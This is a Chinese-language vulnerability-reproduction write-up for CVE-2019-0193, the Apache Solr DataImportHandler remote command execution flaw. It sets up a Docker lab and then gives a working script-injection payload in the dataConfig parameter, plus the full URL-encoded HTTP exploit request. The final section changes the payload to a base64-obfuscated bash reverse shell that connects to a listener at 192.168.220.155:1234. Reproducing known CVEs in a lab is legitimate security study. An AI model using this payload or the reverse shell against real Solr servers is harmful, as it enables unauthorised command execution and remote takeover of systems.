CVE-2019-0193:Apache Solr 远程命令执行漏洞

0x00 漏洞介绍

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

0x01 影响版本

Apache Solr < 8.2.0

0x02 漏洞环境搭建

docker-compose build
docker-compose up -d
docker-compose ps

CVE-2019-0193:Apache Solr 远程命令执行漏洞_第1张图片

0x03 漏洞复现

创建一个solr核心test

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

在这里插入图片描述
创建成功后,访问http://192.168.220.134:8983访问Apache solr的管理页面
CVE-2019-0193:Apache Solr 远程命令执行漏洞_第2张图片
选择刚创建好的test核心,选择Dataimport功能并选择debug模块,将以下POC填入(原来的删除)

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

CVE-2019-0193:Apache Solr 远程命令执行漏洞_第3张图片
点击 Execute with this Confuguration 执行POC,发送以下数据包

POST /solr/test/dataimport?_=1572685207202&indent=on&wt=json HTTP/1.1
Host: 192.168.220.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://192.168.220.134:8983/solr/

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

执行POC成功后,执行 docker-compose exec solr ls /tmp ,可以看见 /tmp/success已成功创建
在这里插入图片描述

0x04反弹shell

修改POC

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNTUvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

Kali监听端口1234,POC执行成功后,成功得到shell
CVE-2019-0193:Apache Solr 远程命令执行漏洞_第4张图片

你可能感兴趣的:(漏洞复现)